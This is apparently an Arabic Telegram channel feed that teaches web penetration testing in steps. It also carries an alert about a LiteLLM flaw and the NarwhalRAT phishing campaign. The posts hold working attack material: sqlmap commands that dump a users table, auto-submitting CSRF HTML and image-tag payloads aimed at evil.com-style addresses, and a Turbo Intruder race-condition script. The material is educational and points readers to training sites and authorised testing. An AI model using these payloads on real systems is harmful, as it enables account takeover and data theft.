سايبر لاب CyberLab

🚨 تنبيه سيبراني عاجل: ثغرات حرجة (CVSS 9.9) في LiteLLM وحملة تصيد NarwhalRAT 🚨 [1] ثغرات LiteLLM (سلسلة استغلال): ما هي الثغرة؟ خلل حرج في التحقق من الصلاحيات (Authorization Bypass) وتأمين واجهات الـ API داخل بوابة الذكاء الاصطناعي (AI Gateway). كيف تُستغل؟ يرسل المهاجم طلبات API مغلقة لتجاوز جدار الحماية، مما يسمح له برفع صلاحياته من مستخدم عادي إلى مسؤول كامل (Admin Privilege Escalation). الضرر الناتج: تنفيذ أوامر عشوائية على السيرفر (RCE)، سرقة مفاتيح الـ API Keys للنماذج (OpenAI, Anthropic)، وقراءة الـ Prompts وبيانات المستخدمين الحساسة. [2] حملة تصيد NarwhalRAT (نشر برمجيات خبيثة): ما هو الهجوم؟ حملة هندسة اجتماعية متطورة تتنكر كـ "Microsoft Security Alert" عبر البريد الإلكتروني. كيف يُستغل؟ يتم إرسال ملف ZIP يحتوي على اختصار (Shortcut .LNK) مخفي؛ بمجرد نقر الضحية عليه، يتم تشغيل سكربت خلفي يقوم بتحميل وتثبيت برمجية حصان طروادة للوصول عن بُعد (NarwhalRAT). الضرر الناتج: اختراق تام للجهاز، تسجيل ضغطات الكيبورد (Keylogging)، تصوير الشاشة والصوت، وسرقة ملفات الـ USB، مع استخدام خدمات سحابية كقنوات تحكم (C2) لتجاوز أنظمة الكشف التقليدية. 🛡️ خطة المواجهة الفورية: 1. تحديث LiteLLM فوراً وتفعيل الـ MFA على بوابات الـ AI. 2. حظر ملفات LNK/ZIP القادمة من الخارج ومراقبة اتصالات الـ C2 السحابية المشبوهة. 💡 لا تترك أمنك للصدفة! المشهد السيبراني يتغير كل دقيقة، وخلف كل ثغرة مهاجم ينتظر غفلتك. احمِ خوادمك وبياناتك، وانضم إلى قناتنا التوعية السيبرانية مع شرنج برنج لتكون أول من يصله خط الدفاع الأول؛ تحليلات عميقة، تنبيهات فورية، وتوعية بأسلوب يضعك دائماً خطوة للأمام قبل الهاكرز. اشترك الآن! 👇 #إعادة_توعية_ليستفيد_الجميع ؛========================= - قناة « #جدار_ناري » للأمان الرقمي - رابط القناة https://t.me/JidarNari

🎉 بفضل الله تعالى أكملنا منهجية اختبار اختراق الويب بالكامل. سبعة مراحل، من الاستطلاع الأول إلى التقرير الاحترافي. أيام من الشرح، أمثلة عملية، أدوات، وتجارب. هذي المنهجية حصيلة خبرات متراكمة، جُمعت و رُتبت عشان تكون خارطة طريق واضحة لكل باحث أمني. --- 📌 المنهجية في سطور المرحلة الأولى: الاستطلاع – اعرف عدوك قبل ما تبدأ. المرحلة الثانية: التجميع – افهم هيكل الموقع. المرحلة الثالثة: تحليل سطح الهجوم – ارسم خريطة كاملة. المرحلة الرابعة: الاختبار اليدوي – IDOR، SQLi، XSS، File Upload، SSRF، Command Injection، NoSQL، XXE، CSRF، Race Conditions. المرحلة الخامسة: الأدوات الآلية – Burp، Nmap، FFUF، Nuclei، SQLMap. المرحلة السادسة: كتابة التقرير – وثّق، أثبت، اربح. --- لا تنتظر أحدًا يمشي بيدك. خريطة الطريق بين يديك، والجهد اللي بتضعه هو الفرق بين قارئ عادي وبين باحث ثغرات حقيقي. --- 📌 خلاصة نهائية منهجية اختبار الويب ما هي مجرد خطوات تحفظها. إنها عقلية تنمو معك كلما طبقتها. كل موقع تختبره يعلّمك شيء جديد. كل خطأ تخطيه يجعلك أقوى. كل تقرير تكتبه يبني سمعتك. استمر... وبتوصل إن شاء الله 🔥 --- شكرًا لمتابعتكم طوال هذه السلسلة. اللقاء القادم في محتوى جديد وعملي أكثر بإذن الله. 📌 للمتابعة: @Cyberlab10 #WebPentesting #Methodology #BugBounty #InfoSec #ختام_السلسلة

المرحلة الأولى: الاستطلاع (Reconnaissance) – جمع المعلومات. المرحلة الثانية: التجميع (Enumeration) – فهم هيكل الموقع. المرحلة الثالثة: تحليل سطح الهجوم (Attack Surface Mapping) – رسم الخريطة. المرحلة الرابعة: الاختبار اليدوي (Manual Testing) – IDOR، SQLi، XSS، File Upload، SSRF، Command Injection، NoSQL، XXE، CSRF، Race Conditions. المرحلة الخامسة: الأدوات الآلية (Automated Tools) – Burp، Nmap، FFUF، Nuclei، SQLMap. المرحلة السادسة: كتابة التقرير (Reporting) – توثيق وإثبات وحلول. المنهجية تكتمل. طبّقها على مواقع التدريب، ثم بعد الإذن على برامج Bug Bounty. --- 📌 للمتابعة: @Cyberlab10 #Reporting #BugBounty #WebPentesting #Methodology #WriteHat `

📝 المرحلة السادسة: كتابة التقرير الاحترافي (Reporting) بعد ما خلصت الاختبار اليدوي والأدوات الآلية، وجمعت الثغرات... يجي الدور الأهم: كتابة التقرير. التقرير الجيد هو الفرق بين ثغرة تاخذ حقها وثغرة يتجاهلها الفريق التقني. التقرير هو منتجك النهائي. استثمر فيه وقتك. --- 🎯 وش الهدف من التقرير؟ • توثيق الثغرة بطريقة مفهومة للمطورين والإدارة. • إثبات وجود الثغرة بخطوات واضحة قابلة لإعادة الإنتاج. • تقديم حلول عملية للإصلاح، مو بس "هذا خطر". • بناء سمعتك كمختبر اختراق محترف. --- 📋 وش يحتوي التقرير الاحترافي؟ أولاً: ملخص تنفيذي (Executive Summary) فقرتين بسيطتين لأصحاب القرار (غير التقنيين). فيه: • وش سويت؟ • كم ثغرة اكتشفت؟ • وش أخطر ثغرة؟ • التوصية العامة (مثلاً: "يجب تطبيق التصحيحات بشكل عاجل"). ثانياً: نطاق الاختبار (Scope) • قائمة بالصفحات أو التطبيقات اللي اختبرتها. • تاريخ بدء ونهاية الاختبار. • نوع الاختبار (أسود، أبيض، رمادي). ثالثاً: منهجية الاختبار (Methodology) • الأدوات اللي استخدمتها. • مراحل الاختبار اللي اتبعتها (استطلاع، تجميع، اختبار يدوي...). رابعاً: الثغرات بالتفصيل (Vulnerabilities Details) هذا قلب التقرير. كل ثغرة تكتب فيها: • اسم الثغرة (مثل IDOR, XSS, SQLi). • مستوى الخطورة (Critical, High, Medium, Low). • مكان الثغرة (الرابط أو الـ endpoint). • شرح الثغرة (وش اللي غلط في الكود؟). • خطوات إعادة الإنتاج (PoC – Proof of Concept): كيف تكرر الثغرة خطوة بخطوة (أوامر، روابط، بايلودات). • صورة أو فيديو قصير يثبت الثغرة (أهم من ألف كلمة). • التأثير المحتمل (Impact): وش ممكن يسوي المهاجم؟ • التوصيات (Remediation): وش لازم المطور يسوي عشان يصلحها؟ (كن محددًا، اقترح كود بديل). خامساً: الملاحق (Appendix) • قائمة الأدوات والإصدارات. • سجلات الطلبات (logs) المهمة. • أي معلومات إضافية. --- 🧪 مثال عملي: كتابة ثغرة IDOR في التقرير الاسم: IDOR – تسريب بيانات المستخدمين الآخرين الخطورة: عالية (High) المكان: https://target.com/api/orders/view?id=123 الوصف: التطبيق يعرض تفاصيل الطلب بناءً على معامل id في الرابط، دون التحقق من أن المستخدم الحالي هو صاحب الطلب. أي مستخدم مسجل يمكنه تغيير الرقم ورؤية طلبات غيره. خطوات إعادة الإنتاج: 1. سجل دخولك بحساب عادي (test1@example.com). 2. اذهب إلى صفحة "طلباتي"، ستجد رابط مثل: https://target.com/api/orders/view?id=123 3. غيّر الرقم id إلى 124 في المتصفح. 4. ستظهر تفاصيل طلب خاص بمستخدم آخر. لقطة شاشة: [أرفق صورة تظهر الفرق] التأثير: المهاجم يستطيع جمع بيانات طلبات جميع المستخدمين (أسماء، عناوين، منتجات مشتراة، أرقام هواتف). هذا يخالف خصوصية المستخدمين وقوانين حماية البيانات. التوصيات: • أضف طبقة تحقق من الصلاحية على الخادم (Server-side access control): قبل عرض الطلب، تأكد أن user_id المرتبط بالطلب يساوي user_id للجلسة الحالية. • لا تعتمد على إخفاء الرابط أو الواجهة فقط. الحماية تكون في الخادم. • استخدم معرفات غير قابلة للتخمير (GUID) بدل الأرقام المتسلسلة. --- 📝 نصائح لكتابة تقرير مقبول في Bug Bounty • اكتب باللغة الإنجليزية عادة. لكن إذا كان البرنامج عربيًا، العربية أفضل. • لا تطول في المقدمة. ابدأ بالثغرة مباشرة واختصار. • الـ PoC (Proof of Concept) يكون بسيطًا وأي شخص يتبعه يوصل لنفس النتيجة. لا تعقده. • الصور والفيديوهات: استخدم أدوات مثل ShareX أو OBS لتسجيل مقطع قصير. • إذا الثغرة تحتاج ترتيب معين (مثل تسجيل دخول أولاً)، اكتب الخطوات بترتيبها. • لا تنسى تذكر إصدار المتصفح أو الأداة اللي استخدمتها أحيانًا. --- 🛠️ أدوات تساعدك في كتابة التقرير • Burp Suite (Reporting extension): يصدر تقرير HTML بسيط. • WriteHat (إضافة لـ Burp): ينشئ تقرير Markdown احترافي. • Pandoc: يحول Markdown إلى PDF أو Word. • Google Docs / Word: الأساس لكن غير آمن لبيانات حساسة. • Markdown أنصحك به: خفيف، منظم، وينفع لأي منصة. --- 💥 أخطاء شائعة في التقارير (تجنبها) ❌ كتابة "الموقع غير آمن" بدون تفاصيل. ❌ عدم توضيح خطوات إعادة الإنتاج (يقول "جربوا بنفسكم"). ❌ تقديم توصيات عامة ("يجب تحسين الأمان") بدون حل عملي. ❌ وضع ثغرات وهمية (false positives) بدون تأكيدها يدويًا. ❌ نسيان إرفاق الصور أو الفيديو. ✅ الصح: تقرير واضح، مختصر، يثبت الثغرة، ويقترح حلًا مفهومًا للمطور. --- 📌 خلاصة المرحلة السادسة التقرير هو وجهك للمطورين والشركة. تقرير محترم يبني سمعتك ويزيد فرص قبول ثغراتك. استثمر وقتًا في تنظيمه، كتابة الـ PoC خطوة بخطوة، وإرفاق الأدلة. هذا يرفع مصداقيتك ويخليهم يتعاونون معك بسرعة. --- 📌 منهجية اختبار الويب (ملخص المراحل كلها)

Web Application Security Red Team Guide Full offensive deep dive: Recon, SQLi, XSS, SSRF, XXE, JWT, API/GraphQL, OAuth, file upload → webshells, WAF bypass, NoSQLi, prototype pollution, Burp workflow, post-exploitation, and OWASP Top 10 mapping.

Web Application Security Red Team Guide Full offensive deep dive: Recon, SQLi, XSS, SSRF, XXE, JWT, API/GraphQL, OAuth, file upload → webshells, WAF bypass, NoSQLi, prototype pollution, Burp workflow, post-exploitation, and OWASP Top 10 mapping.

• استخدم ملفات كلمات جيدة. SecLists هو المرجع: github.com/danielmiessler/SecLists • أتمتة (automation) مهامك المتكررة باستخدام سكربتات بسيطة. مثلاً: سكربت bash يشغل عدة أدوات متسلسلة. • الأدوات تظهر نتائج كثيرة. فلتر دائمًا: ركز على الـ status codes 200, 301, 403. الكود 404 أقل أهمية. • إذا لقيت ثغرة بأداة، حاول تستغلها يدويًا لتأكيدها قبل كتابة التقرير. --- 📌 خلاصة المرحلة الخامسة الأدوات الآلية تزيد كفاءتك وتوسع نطاق اختبارك، لكن فهمك اليدوي هو الأساس. ابدأ بـ Burp Suite + FFUF + Nmap، ثم زد الأدوات حسب حاجتك. لا تعتمد على الأداة بشكل أعمى. أنت المسؤول عن تفسير النتائج وتحديد الثغرات الحقيقية. المرحلة القادمة: المرحلة السادسة – كتابة التقرير الاحترافي (Reporting). 📌 للمتابعة: @Cyberlab10 #AutomatedTools #BugBounty #BurpSuite #Nuclei #WebPentesting `

📝 المرحلة الخامسة: استخدام الأدوات الآلية (Automated Tools) بعد ما خلصت الاختبار اليدوي وحددت النقاط اللي يمكن فيها ثغرات، يجي دور الأدوات الآلية عشان توسع نطاق اختبارك وتوفر وقتك. الاختبار اليدوي يكتشف 80% من الثغرات. الأدوات تزيد النسبة إلى 95% وتلقمك ثغرات ما كنت تتوقعها. --- 🎯 وش الهدف من الأدوات الآلية؟ • تغطية مساحات كبيرة من الموقع بسرعة. • اكتشاف ثغرات معروفة (patterns) تلقائيًا. • تنفيذ هجمات معقدة (مثل تخمير المعاملات، فحص المسارات، استغلال SQLi). • تكرار الاختبار بعد كل تحديث. الأدوات ما تعوض عن فهمك. أنت اللي تقرر وش تفحص وتفسر النتائج. --- 🛠️ أهم الأدوات اللي تحتاجها الأولى والأهم: Burp Suite (Community Edition مجانية) هذه الأداة الأساسية في اختبار الاختراق. وش تسوي؟ • intercept وتعديل الطلبات. • فحص المواقع وجمع الـ endpoints (Spider). • اختراق المعاملات (Intruder) للتخمير والتكرار. • فحص آلي للثغرات (Scanner في الإصدار Pro، لكن Community فيها إضافات بديلة). • إدارة الجلسات والكوكيز. بعد ما تتعود عليها، راح تكتشف إن 90% من شغلك فيها. الثانية: Nmap للاستطلاع وفحص المنافذ والخدمات. nmap -sV -sC -p- target.com تستخدمها في بداية اختبارك عشان تعرف وش الخدمات اللي شغالة على الخادم. الثالثة: FFUF أو Gobuster لتخمير المسارات والملفات والمعاملات. ffuf -w wordlist.txt -u https://target.com/FUZZ -fc 404 تستخدمها لاكتشاف صفحات وملفات مخفية المطور نسي يحميها. الرابعة: Nuclei أداة فحص ثغرات تعتمد على قوالب (templates). تشغلها على أي موقع وترجع لك الثغرات المعروفة. nuclei -u https://target.com -t cves/ -t misconfiguration/ تستخدمها كمسح سريع بعد الاستطلاع. الخامسة: SQLMap لاستغلال SQL Injection بشكل آلي. لا تستخدمها إلا بعد التأكد يدويًا من وجود ثغرة. sqlmap -u "https://target.com/product?id=1" --dbs --batch تستخدمها لسحب قاعدة البيانات بسرعة بعد إثبات الثغرة يدويًا. السادسة: XSStrike (لـ XSS) أو Dalfox لاختبار XSS بشكل أعمق من البايلودات اليدوية. dalfox url https://target.com/search?q=test --- 🧪 أمثلة عملية على استخدام الأدوات المثال الأول: استخدام Burp Intruder لتخمير IDs في موقع فيه صفحات /profile?id=123 1. أرسل الطلب إلى Intruder (Ctrl+I). 2. ضع علامة $ على قيمة id. 3. اختر payload type: Numbers (من 1 إلى 1000). 4. شغل الهجوم. 5. قارن أطوال الردود. أي رد بطول مختلف ممكن يكون صفحة موجودة لمستخدم آخر. هذا يكتشف IDOR. المثال الثاني: استخدام FFUF لاكتشاف المسارات المخفية ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u https://target.com/FUZZ -c -t 100 إذا ظهر /admin, /backup, /api, /git, هذه نتائج مهمة تدخلها في قائمة سطح الهجوم. المثال الثالث: استخدام Nuclei لفحص سريع nuclei -u https://target.com -severity high,critical -o results.txt تفحص الثغرات الخطيرة والحرجة في دقائق. إذا طلع لك ثغرة معروفة (مثل Log4Shell أو CVE قديم)، رتب أولوياتك. المثال الرابع: استخدام SQLMap بعد إثبات SQLi يدويًا يدويًا لقيت /product?id=1' تسبب خطأ SQL. sqlmap -u "https://target.com/product?id=1" --dbs --batch sqlmap -u "https://target.com/product?id=1" -D database_name --tables sqlmap -u "https://target.com/product?id=1" -D database_name -T users --dump تسحب البيانات كلها بشكل آلي. --- ⚠️ متى تستخدم الأدوات ومتى توقف؟ لا تستخدم الأدوات في: • برامج Bug Bounty اللي تمنع الفحص الآلي (اقرأ القواعد دائمًا). • مواقع حساسة قد تتعطل من كثرة الطلبات. • قبل ما تفهم طبيعة الموقع ووظائفه يدويًا. استخدم الأدوات عندما: • تحتاج توسيع نطاق الاختبار بعد الانتهاء يدويًا. • تريد تأكيد عدم وجود ثغرات معروفة (CVEs). • عندك وقت محدود وتحتاج مسح سريع. القاعدة الذهبية: يدوي أولاً، آلي ثانياً. الأدوات تتبعك، ما تقودك. --- 📋 قائمة الأدوات الأساسية حسب المرحلة الاستطلاع (Reconnaissance) • Nmap, Masscan • Sublist3r, Amass, Subfinder • Shodan, Censys التجميع (Enumeration) • Burp Suite (Spider, Target Analyzer) • FFUF, Gobuster, Dirsearch الاختبار (Testing) • Burp Intruder, Repeater • Nuclei • ZAP (بديل مفتوح المصدر) الاستغلال (Exploitation) • SQLMap • XSStrike, Dalfox • Metasploit (للهجمات المتقدمة) --- 💥 نصائح عملية • لا تثبت كل الأدوات مرة وحدة. ابدأ بـ Burp Suite و FFUF و Nmap. هذول قلب العمل. • تعلم أوامر كل أداة على حدة في بيئة تدريبية (TryHackMe, HackTheBox). لا تجرب على مواقع حقيقية قبل الإتقان.

• تستخدم عادة في: عمليات الشراء، الكوبونات، التصويت، تحديث الرصيد، التسجيل، إعادة تعيين كلمة المرور. • أحيانًا لا تحتاج أدوات معقدة. افحص التطبيق يدويًا: افتح نافذتين متصفح (Incognito) وسجل الدخول بنفس المستخدم في كلاهما. نفذ الطلب سريعًا يدويًا (لصق الرابط ودوس Enter بسرعة في كل نافذة). بعض الثغرات تظهر حتى بهذه الطريقة البسيطة. • استخدم Burp Suite Repeater مع Group send (حدد عدة طلبات وأرسلها دفعة واحدة). • في تقرير الثغرة، قدم إثبات ملموس: سجل الشاشة أو صور النتائج غير الطبيعية (مثل حساب خصم مزدوج). هذا يزيد من قبول التقرير. --- 📌 خلاصة اليوم Race Conditions تحدث عندما يتعامل التطبيق مع طلبات متزامنة بشكل غير آمن، مما يسمح باستغلال الفجوة الزمنية بين التحقق والتنفيذ. الاكتشاف اليدوي يعتمد على إرسال طلبات متطابقة في نفس الوقت ومراقبة ما إذا حدثت العملية أكثر من مرة أو تسببت في سلوك غير متوقع. المرحلة القادمة: المرحلة الخامسة – استخدام الأدوات الآلية (Automated Tools). 📌 للمتابعة: @Cyberlab10 #RaceConditions #ManualTesting #BugBounty #WebPentesting #TOCTOU `

📝 المرحلة الرابعة: الاختبار اليدوي (Manual Testing) – الجزء العاشر: Race Conditions نكمل الاختبار اليدوي. اليوم نناقش ثغرة Race Conditions، من أكثر الثغرات تعقيدًا لكنها خطيرة جدًا في التطبيقات التي تتعامل مع العمليات المتزامنة. --- 🎯 وش هي Race Condition؟ تطبيق الويب يعتمد على عمليات متعددة تنفذ في نفس الوقت (concurrent). المهاجم يستغل التوقيت بين عملية وأخرى عشان يسبب سلوك غير متوقع. باختصار: ترسل طلبين سريع جدًا في نفس الوقت، التطبيق ما يلحق ينهي الأول قبل الثاني، فتنفذ العملية مرتين أو تحصل على نتيجة خطأ. المثال الكلاسيكي: نظام يتيح لك سحب رصيدك. الرصيد الحالي 1000. ترسل طلبين سحب (200 + 200) في نفس الوقت. النظام يتحقق من الرصيد لكل طلب على حدة: الطلب الأول: الرصيد 1000، يسمح بالسحب. الطلب الثاني (قبل ما ينتهي الأول): الرصيد لسا 1000، يسمح بالسحب. النتيجة: تسحب 400 بدل 200. تخسر الشركة 200. --- 🧠 ليش الثغرة خطيرة؟ • خصم رصيد مرتين (في المتاجر، البنوك، أنظمة الكوبونات). • إنشاء حسابين بنفس البريد أو اسم المستخدم. • تجاوز عدد مرات استخدام الخصم أو التصويت. • تعديل نفس السجل من عدة طلبات يفسد البيانات. • استنزاف الموارد وتجاوز حدود الـ API. --- 🔍 كيف تكتشفها يدويًا؟ الخطوة الأولى: حدد الأماكن اللي فيها عمليات حساسة ومتزامنة • خصم الرصيد (checkout، coupon، transfer). • إنشاء موارد جديدة (تسجيل مستخدم، رفع ملف، إضافة منتج). • تحديث نفس السجل (تعديل رصيد، تحديث بيانات). • عمليات محدودة العدد (تخمين الرمز، إعادة تعيين كلمة المرور). الخطوة الثانية: جرب ترسل طلبين متطابقين في نفس الوقت في Burp Suite: 1. خذ أي طلب حساس (مثل POST /coupon/redeem). 2. أرسله إلى Intruder (Ctrl+I). 3. اختر نوع الهجوم: Pitchfork (أو استخدم Turbo Intruder). 4. ضع مصدر payload بقيمتين مكررتين (مثل 1 و 1). 5. شغل الهجوم وثبت عدد الخيوط (threads) إلى 5-10. إذا استفدت من الكوبون مرتين أو حصلت على نتيجة غير طبيعية، الثغرة موجودة. الخطوة الثالثة: استخدم Turbo Intruder (إضافة Burp) لأفضل تحكم Turbo Intruder يرسل طلبات متزامنة بشكل أفضل. مثال سكربت بسيط: def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20, requestsPerConnection=1, pipeline=False) for i in range(20): engine.queue(target.req, i) engine.start() الخطوة الرابعة: جرب بفارق زمني بسيط (race window) بعض الثغرات تحتاج تأخير microseconds بين الطلبات. استخدم أداة مثل racepwn أو ssrf-turbo. --- 🧪 أمثلة عملية (على مواقع التدريب) المثال الأول: خصم كوبون عدة مرات موقع يقدم كوبون خصم بقيمة 10$ لكل مستخدم مرة واحدة. طلب POST /apply-coupon مع Body: {"code": "SAVE10"} أرسل 10 طلبات متزامنة في نفس الوقت. إذا خصم من رصيدك 100$ بدل 10$، الثغرة موجودة. المثال الثاني: تسجيل حساب بنفس البريد الإلكتروني طلب POST /register مع Body: {"email": "test@test.com", "username": "test"} أرسل 5 طلبات متزامنة. إذا نجح إنشاء حسابات متعددة بنفس البريد، الثغرة موجودة. المثال الثالث: التصويت المتكرر (Poll/Vote) طلب POST /vote?id=123 (يسمح مرة لكل مستخدم). أرسل 10 طلبات متزامنة. إذا زاد عدد الأصوات بأكثر من 1، Race Condition موجودة. المثال الرابع: تجاوز حد الطلبات في API (Rate Limit Bypass) واجهة API تحد الطلبات بـ 100 في الدقيقة. أرسل 200 طلب متزامن في نفس الثانية. إذا قبل الخادم أكثر من 100، الثغرة موجودة. --- ⚠️ أنواع Race Conditions نوع Time-of-check to time-of-use (TOCTOU) النظام يتحقق من الشرط (الرصيد كافٍ)، ثم بعد لحظة يستخدم النتيجة. في الفجوة بين التحقق والاستخدام، يمكن تغيير الحالة. نوع Concurrent request نفس الطلب يُرسل عدة مرات متزامنة، كل طلب يرى نفس الحالة الأولية. نوع Database race استغلال عدم وجود قفل (lock) على الصف (row) في قاعدة البيانات، مما يسمح بتعديل متزامن. --- 📋 قائمة مراجعة سريعة لاختبار Race Conditions · حدد العمليات الحساسة التي تحدث في خطوتين (تحقق ثم تنفيذ). · حدد العمليات محدودة الاستخدام (كوبونات، تخمين، تصويت). · استخدم Intruder مع عدد كبير من الخيوط (threads) لاختبار التكرار. · جرب Turbo Intruder مع 20-30 اتصال متزامن. · جرب أداة مثل race أو ssrf-turbo للحصول على timing أدق. · قارن النتائج مع طلب واحد عادي: هل حدث أي شذوذ؟ · إذا أمكن، حلل سجلات قاعدة البيانات لترى إن كان هناك أكثر من تحديث. --- 💥 نصائح عملية • Race Conditions صعبة الاكتشاف والاستغلال، لكن مكافآتها في Bug Bounty عالية لأنها تعكس خطأ في تصميم التطبيق (logic flaw).

· حدد جميع الإجراءات الحساسة (تغيير بيانات، حذف، إضافة صلاحيات، تحويل). · اختبر كل طلب GET من خلال فتح الرابط في متصفح جديد مسجل الدخول. · اختبر كل طلب POST بواسطة Repeater بعد حذف أي توكن واضح. · حاول إرسال الطلب بدون التوكن أو بتوكن خاطئ. · جرب تختبر بتوكن من جلسة سابقة (هل ينتهي بعد تسجيل الخروج؟) · جرب تغيير الـ Referer أو Origin في الطلب إلى قيم غريبة (إذا كان الموقع يعتمد عليها). --- 💥 نصائح عملية • CSRF منتشرة أكثر مما تتوقع. كثير من المواقع تحمي فقط عمليات الشراء المهمة لكن تنسى إعدادات الملف الشخصي أو رفع الملفات. • لا تهمل اختبار الطلبات من نوع PUT و DELETE. أحيانًا تحمي GET و POST وتترك البقية مكشوفة. • إذا وجدت CSRF في عملية حساسة مثل تغيير كلمة المرور، هذه الثغرة تعتبر عالية الخطورة في برامج Bug Bounty. • أداة handy لإنشاء PoC (إثبات المفهوم) مباشرة من Burp Suite: زر الماوس الأيمن على الطلب -> Engagement tools -> Generate CSRF PoC. • عند كتابة التقرير، أرفق صفحة HTML بسيطة تثبت الثغرة. هذا يجعل تقريرك احترافياً ويقنع الفريق التقني. --- 📌 خلاصة اليوم CSRF تخدع المتصفح ليرسل طلب نيابة عن المستخدم دون علمه. تعتمد على أن الموقع يثق في المتصفح (عبر الكوكيز) بدون تحقق كافٍ أن الطلب مقصود من المستخدم نفسه. الاكتشاف اليدوي سهل: أرسل الطلب الحساس بدون التوكن أو عبر GET، وشوف إذا الموقع ينفذه. المرحلة القادمة: الاختبار اليدوي (الجزء العاشر) – Race Conditions. 📌 للمتابعة: @Cyberlab10 #CSRF #ManualTesting #BugBounty #WebPentesting

📝 المرحلة الرابعة: الاختبار اليدوي (Manual Testing) – الجزء التاسع: CSRF (Cross-Site Request Forgery) نكمل الاختبار اليدوي. اليوم نناقش ثغرة CSRF، من الثغرات اللي تهدد المستخدمين أكثر من الخادم نفسه. --- 🎯 وش هي CSRF؟ CSRF تعني Cross-Site Request Forgery. المهاجم يخدع المستخدم الضحية عشان يرسل طلب نيابة عنه إلى موقع يثق فيه. باختصار: إذا كان المستخدم مسجل الدخول في موقع (مثل بنك أو بريد إلكتروني)، المهاجم يصنع رابط أو صفحة خبيثة وعندما يزورها الضحية، الموقع ينفذ أمر بصلاحيته (مثل تحويل فلوس، تغيير بريد إلكتروني). المثال الكلاسيكي: موقع بنك يقبل طلب تحويل عبر GET: https://bank.com/transfer?to=attacker&amount=1000 المهاجم يرسل للضحية رابط: <img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0"> إذا الضحية مسجل الدخول، المتصفح يرسل الطلب مع كوكي الجلسة، ويتم التحويل. --- 🧠 ليش الثغرة خطيرة؟ • تغيير البريد الإلكتروني أو كلمة المرور للمستخدم. • تحويل أموال أو شراء منتجات باسم الضحية. • نشر محتوى نيابة عن الضحية. • حذف بيانات أو إجراءات إدارية (إن كان الضحية أدمن). • استغلالها مع ثغرات أخرى (مثل XSS) لزيادة الضرر. --- 🔍 كيف تكتشفها يدويًا؟ الخطوة الأولى: حدد الأماكن اللي تسوي إجراءات حساسة بدون رمز مميز • تغيير كلمة المرور. • تحديث البريد الإلكتروني. • إضافة مستخدم جديد أو حذفه. • عمليات الشراء أو التحويلات المالية. • رفع ملفات أو حذفها. • تغيير أي إعدادات في الحساب. الخطوة الثانية: افتح الطلب في Burp Suite وسجل كل شيء أثناء تصفحك للموقع (وأنت مسجل الدخول)، نفذ الإجراء الحساس (مثل تغيير البريد الإلكتروني). في Burp، شوف الطلب اللي تم إرساله: • طريقة الطلب (GET أو POST). • الـ endpoint (الرابط). • أي معاملات (parameters) يرسلها. • هل هناك توكن غير متوقع (CSRF token)؟ الخطوة الثالثة: جرب إعادة إرسال الطلب بدون التوكن أو بهيكل مختلف خذ الطلب من Burp Repeater وحاول: • احذف أي توكن يبدو عشوائيًا. • غيّر قيمة التوكن إلى قيمة خاطئة. • أرسل الطلب مرة ثانية. إذا نجح الطلب (تم تغيير البريد الإلكتروني بالفعل)، الموقع لا يتحقق من التوكن بشكل صحيح. الخطوة الرابعة: إذا الطلب من نوع GET (سهل الاستغلال) إذا كان تغيير البريد الإلكتروني مثلاً عبر GET: https://target.com/profile/change?email=hacker@evil.com هنا الثغرة موجودة بوضوح. المهاجم يرسل رابط فقط. الخطوة الخامسة: إذا الطلب من نوع POST (تحتاج صفحة خبيثة) جرب إنشاء صفحة HTML بسيطة تحتوي على النموذج (form) وتضبطه ليرسل ذات الطلب تلقائيًا. <html> <body onload="document.forms[0].submit()"> <form method="POST" action="https://target.com/profile/change"> <input name="email" value="hacker@evil.com"> </form> </body> </html> حفظها كملف html وافتحها في المتصفح وأنت مسجل في الموقع. إذا تم تغيير البريد، الثغرة موجودة. --- 🧪 أمثلة عملية (على مواقع التدريب) المثال الأول: CSRF في تغيير البريد الإلكتروني (GET) طلب عادي في Burp: GET /user/change_email?email=old@mail.com جرب في المتصفح (وأنت مسجل): https://target.com/user/change_email?email=attacker@evil.com إذا تغير البريد، الثغرة موجودة. المثال الثاني: CSRF في تغيير كلمة المرور (POST) طلب POST إلى /changepassword Body: password=123&newpassword=456&confirm=456 حاول في Burp Repeater ترسل نفس الطلب بدون أي توكن. إذا نجح، الثغرة موجودة. المثال الثالث: CSRF في إضافة مستخدم في لوحة التحكم طلب POST إلى /admin/adduser Body: username=test&password=123&role=admin إذا كان الطلب لا يحتوي توكن فريد، أي شخص عادي يزور صفحة خبيثة يضيف مستخدم جديد بصلاحيات إدارية. المثال الرابع: تجاوز وجود توكن ثابت أو متوقع بعض المواقع ترسل CSRF token لكنه ثابت لكل الجلسة أو يمكن توقعه. جرب تكرر نفس التوكن من طلب سابق أو تتركه فارغ. أحيانًا ينجح. أيضًا: بعض المواقع تضع التوكن في الـ Cookie وتتوقع إرساله في الـ Header. جرب تنقله مكانه. --- ⚠️ كيف تحمي المواقع نفسها؟ (علشان تفهم أنت كيف تتجاوز) • CSRF Token عشوائي لكل جلسة أو طلب. غالباً في form مخفي أو header مخصص. • SameSite Cookies: تمنع المتصفح من إرسال الكوكي في طلبات من مواقع أخرى. • Origin / Referer header verification: تتحقق أن الطلب جاء من نفس الموقع. • إعادة المصادقة للأعمال الحساسة (طلب كلمة المرور مرة أخرى). من الضعف الشائع: الموقع يتحقق من Origin لكن يسمح قيمة فارغة أو يسمح بالنطاق نفسه مع أي بادئة. --- 📋 قائمة مراجعة سريعة لاختبار CSRF

• أدوات مثل Burp Suite Scanner تكتشف XXE بشكل جيد لكن لا تعتمد عليها فقط. فهمك اليدوي يبقى الأهم. • في برامج Bug Bounty، XXE التي تقرأ ملفات حساسة أو تسبب SSRF تعتبر ثغرة عالية الخطورة. --- 📌 خلاصة اليوم XXE ثغرة في معالجة XML تسمح بقراءة ملفات الخادم أو إرسال طلبات داخلية. الاكتشاف اليدوي يعتمد على حقن كيان خارجي (ENTITY SYSTEM) في وثيقة XML ومراقبة الرد. المرحلة القادمة: الاختبار اليدوي (الجزء التاسع) – CSRF (Cross-Site Request Forgery). 📌 للمتابعة: @Cyberlab10 #XXE #ManualTesting #BugBounty #WebPentesting #XML `

